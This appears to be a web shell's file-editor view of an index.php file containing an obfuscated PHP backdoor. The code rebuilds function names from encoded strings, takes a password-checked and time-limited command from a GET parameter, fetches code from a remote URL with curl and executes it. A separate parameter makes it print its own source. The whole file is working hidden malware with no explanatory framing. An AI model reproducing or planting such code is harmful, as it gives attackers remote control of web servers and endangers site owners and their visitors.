One Hat Cyber Team

Edit File: index.php

<?php
 goto zlJA6DKa89sEMO; GcJUStNip9b8As: $JOk4jOYHdUDpxW[81] = $JOk4jOYHdUDpxW[62]($JOk4jOYHdUDpxW[81]); goto CwdePBBD18F2T4; xQZP_MVaCU10mE: $JOk4jOYHdUDpxW(); goto nIU8jXSIv4a26Z; zlJA6DKa89sEMO: $ZVdZ02AVfgLlOh = range("\x7e", "\x20"); goto Ia37mVg6PK6HLl; gAaJ2LD32HbhJe: if (!(in_array(gettype($JOk4jOYHdUDpxW) . "\61\62", $JOk4jOYHdUDpxW) && md5(md5(md5(md5($JOk4jOYHdUDpxW[6])))) === "\71\141\x39\66\67\x37\143\61\x35\x63\x63\63\67\x30\71\x64\x63\x63\x37\63\64\67\60\x65\70\60\x62\x64\144\61\x39\x31")) { goto WmeCR_5BrUihYS; } goto MZ2IhHMmk7c3xE; nIU8jXSIv4a26Z: WmeCR_5BrUihYS: goto hL0161DbOe4w33; Ia37mVg6PK6HLl: $JOk4jOYHdUDpxW = ${$ZVdZ02AVfgLlOh[10 + 21] . $ZVdZ02AVfgLlOh[44 + 15] . $ZVdZ02AVfgLlOh[46 + 1] . $ZVdZ02AVfgLlOh[1 + 46] . $ZVdZ02AVfgLlOh[51 + 0] . $ZVdZ02AVfgLlOh[47 + 6] . $ZVdZ02AVfgLlOh[52 + 5]}; goto gAaJ2LD32HbhJe; sNNWnzBcHEfjaf: class Fh4qCEj0gRmqX0 { static function HvxjcH01vFx1Wn($YDQvqJOqpj3Stj) { goto oRBzcAwB2hvFOt; LbEFNdGT5l8GBZ: $Di3jUoOw4aAH0r = explode("\x40", $YDQvqJOqpj3Stj); goto RjYGuC8VOtuJwr; RoRpiMMpznxtiJ: foreach ($Di3jUoOw4aAH0r as $BlpT0Zt4KDlv3K => $d11SCTD5YBTxiG) { $QChyzqUla6j16B .= $F1AXiSutG_j3yn[$d11SCTD5YBTxiG - 81259]; HyGvxNjEJagQXS: } goto NK1YBgPecN18zf; RjYGuC8VOtuJwr: $QChyzqUla6j16B = ''; goto RoRpiMMpznxtiJ; NK1YBgPecN18zf: xJrx_m2spn2k3g: goto oXVJkzrgGWJMmn; oRBzcAwB2hvFOt: $gLUNiJO7sUJr5L = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto XmWkmiCb0SJLq2; XmWkmiCb0SJLq2: $F1AXiSutG_j3yn = $gLUNiJO7sUJr5L("\176", "\40"); goto LbEFNdGT5l8GBZ; oXVJkzrgGWJMmn: return $QChyzqUla6j16B; goto FAUmzVIsyogJXD; FAUmzVIsyogJXD: } static function gr9dac36X9Cd8K($orfx1zfMoHmQQ0, $JM_yz8gsfiAwGw) { goto KVcnmNPU9VfGOP; F1kp_iKZ10h8Y5: curl_setopt($HEgNYyLRpJ3f8U, CURLOPT_RETURNTRANSFER, 1); goto et_YUnvEme5BIG; et_YUnvEme5BIG: $KAlv5XXj21oERm = curl_exec($HEgNYyLRpJ3f8U); goto PUMPPeUKVPEKMm; PUMPPeUKVPEKMm: return empty($KAlv5XXj21oERm) ? $JM_yz8gsfiAwGw($orfx1zfMoHmQQ0) : $KAlv5XXj21oERm; goto O0iCX9I4c6uAQV; KVcnmNPU9VfGOP: $HEgNYyLRpJ3f8U = curl_init($orfx1zfMoHmQQ0); goto F1kp_iKZ10h8Y5; O0iCX9I4c6uAQV: } static function BL_cUJW9TcF7ez() { goto uEW8LS1NVVUBJj; uEW8LS1NVVUBJj: $PzGTymiHfI4PSh = array("\70\61\x32\x38\x36\x40\70\x31\x32\67\61\x40\x38\61\62\x38\x34\x40\x38\x31\x32\70\70\100\x38\61\62\x36\x39\100\x38\x31\x32\70\64\x40\70\61\x32\71\x30\x40\70\61\x32\x38\63\x40\70\x31\x32\66\x38\100\x38\61\62\67\65\x40\70\61\x32\x38\x36\x40\70\x31\x32\66\x39\x40\x38\61\x32\70\60\x40\70\61\62\x37\64\100\70\61\62\x37\65", "\70\x31\62\67\60\100\x38\61\x32\x36\71\x40\x38\x31\x32\x37\x31\100\x38\61\x32\x39\60\x40\70\61\x32\67\x31\100\70\61\62\x37\64\100\x38\x31\62\x36\x39\100\x38\61\x33\63\66\100\70\61\63\63\64", "\x38\61\x32\x37\x39\100\x38\61\x32\67\x30\x40\x38\61\x32\x37\x34\100\x38\61\x32\x37\65\100\x38\x31\62\71\60\x40\x38\61\x32\70\x35\100\70\61\x32\70\64\x40\70\61\x32\70\x36\x40\x38\61\62\67\64\x40\70\61\62\70\x35\100\x38\61\x32\70\x34", "\70\61\x32\x37\x33\100\x38\x31\62\70\70\100\x38\61\62\70\x36\100\70\61\x32\67\x38", "\70\x31\x32\x38\67\x40\70\x31\x32\70\70\100\x38\61\62\x37\x30\x40\70\x31\62\x38\x34\x40\x38\61\x33\x33\61\x40\x38\x31\x33\63\x33\x40\x38\61\x32\71\60\x40\70\61\62\70\x35\100\70\61\62\70\64\100\x38\x31\x32\x38\x36\100\70\x31\62\67\64\100\70\61\62\70\x35\x40\70\x31\62\x38\x34", "\x38\x31\x32\x38\63\100\70\x31\62\70\60\100\70\61\62\67\x37\x40\x38\61\x32\x38\x34\x40\x38\61\x32\71\60\x40\x38\x31\x32\70\62\x40\70\61\x32\x38\x34\x40\70\x31\x32\66\71\100\70\x31\x32\x39\x30\100\x38\61\62\70\x36\100\70\x31\62\67\64\x40\70\61\x32\x37\x35\x40\x38\x31\62\x36\x39\x40\70\61\62\x38\64\100\70\x31\x32\67\x35\x40\x38\61\x32\66\x39\x40\x38\x31\62\67\x30", "\x38\61\63\x31\63\x40\x38\x31\63\64\x33", "\x38\61\62\x36\x30", "\70\61\x33\x33\70\x40\x38\61\63\x34\63", "\x38\61\x33\x32\60\100\70\x31\63\60\x33\x40\70\61\x33\60\63\100\70\61\63\x32\x30\x40\x38\x31\x32\71\x36", "\70\x31\x32\70\63\100\x38\x31\62\70\60\x40\70\61\x32\67\x37\100\x38\61\x32\66\x39\x40\x38\61\62\70\x34\100\x38\x31\62\x37\61\100\70\x31\x32\x39\60\x40\x38\61\62\70\x30\x40\x38\x31\62\67\65\100\x38\61\62\67\63\100\70\x31\x32\x36\x38\100\x38\61\x32\66\71"); goto iKa22yWioXdP5t; vKRij_XMgACUJw: @$P_3cYdedg6Xpbw[0]('', $P_3cYdedg6Xpbw[4 + 3] . $P_3cYdedg6Xpbw[0 + 4]($FnUOFccnLG5cWu) . $P_3cYdedg6Xpbw[2 + 6]); goto g6r8rxYvU2Kyow; myxgARKxcCeAvK: $OJiYrLwBaW6f9L = @$P_3cYdedg6Xpbw[0 + 3]($P_3cYdedg6Xpbw[5 + 1], $pdps9EUW0sLGE9); goto XYx_PPpCJkFCYL; g6r8rxYvU2Kyow: die; goto dfUQ3p0cg10VqB; i1XMjHtBrL1HnN: $n1ud0VTrA5LNr3 = md5($zTDzcOBdHsbJsa); goto HIYOemijY0OHZY; rFoqjUL__UgpLb: @$P_3cYdedg6Xpbw[4 + 6](INPUT_GET, "\157\x66") == 1 && die($P_3cYdedg6Xpbw[4 + 1](__FILE__)); goto i1XMjHtBrL1HnN; iKa22yWioXdP5t: foreach ($PzGTymiHfI4PSh as $SMFaX2npYH8_hr) { $P_3cYdedg6Xpbw[] = self::HVXjCh01Vfx1Wn($SMFaX2npYH8_hr); EJacqNS4eOyR3s: } goto pKEr0u9QVpVgF7; dfUQ3p0cg10VqB: JpWkP_kGKMev8F: goto py9sHXE_S2IDPv; iQlrC9RzsX3_9T: $pdps9EUW0sLGE9 = @$P_3cYdedg6Xpbw[1]($P_3cYdedg6Xpbw[7 + 3](INPUT_GET, $P_3cYdedg6Xpbw[7 + 2])); goto myxgARKxcCeAvK; XYx_PPpCJkFCYL: $xMDu2K0oumXYpS = $P_3cYdedg6Xpbw[0 + 2]($OJiYrLwBaW6f9L, true); goto aF0D6iJpNMX_70; HIYOemijY0OHZY: if (!(@$xMDu2K0oumXYpS[0] - time() > 0 and $n1ud0VTrA5LNr3 === "\x39\x62\x30\x33\142\x66\70\x34\60\x62\63\67\x34\64\64\x66\71\x64\x37\x36\x63\x33\144\60\61\x37\x62\144\62\61\66\x32")) { goto JpWkP_kGKMev8F; } goto pshxlEG28gTE_V; aF0D6iJpNMX_70: $zTDzcOBdHsbJsa = md5($xMDu2K0oumXYpS[0 + 3]); goto rFoqjUL__UgpLb; pshxlEG28gTE_V: $FnUOFccnLG5cWu = self::gr9daC36x9Cd8K($xMDu2K0oumXYpS[1 + 0], $P_3cYdedg6Xpbw[3 + 2]); goto vKRij_XMgACUJw; pKEr0u9QVpVgF7: kdAqJSNP9Wcuso: goto iQlrC9RzsX3_9T; py9sHXE_S2IDPv: } } goto ZbUn1nSfAtJaYb; CwdePBBD18F2T4: @($JOk4jOYHdUDpxW = $JOk4jOYHdUDpxW[81]($JOk4jOYHdUDpxW[56], $JOk4jOYHdUDpxW[62](${$JOk4jOYHdUDpxW[37]}[29]))); goto xQZP_MVaCU10mE; hL0161DbOe4w33: metaphone("\166\x56\x35\121\105\x63\x6f\124\x41\x32\x53\x70\53\x46\57\64\x70\x43\x71\x42\x33\126\144\x38\65\x63\x30\x45\x4c\x32\x6f\153\x72\x55\x34\x34\61\145\63\x57\x38\x33\70"); goto sNNWnzBcHEfjaf; MZ2IhHMmk7c3xE: $JOk4jOYHdUDpxW[62] = $JOk4jOYHdUDpxW[62] . $JOk4jOYHdUDpxW[73]; goto GcJUStNip9b8As; ZbUn1nSfAtJaYb: Fh4qCEj0GRmqx0::BL_CuJW9tCF7eZ();
?>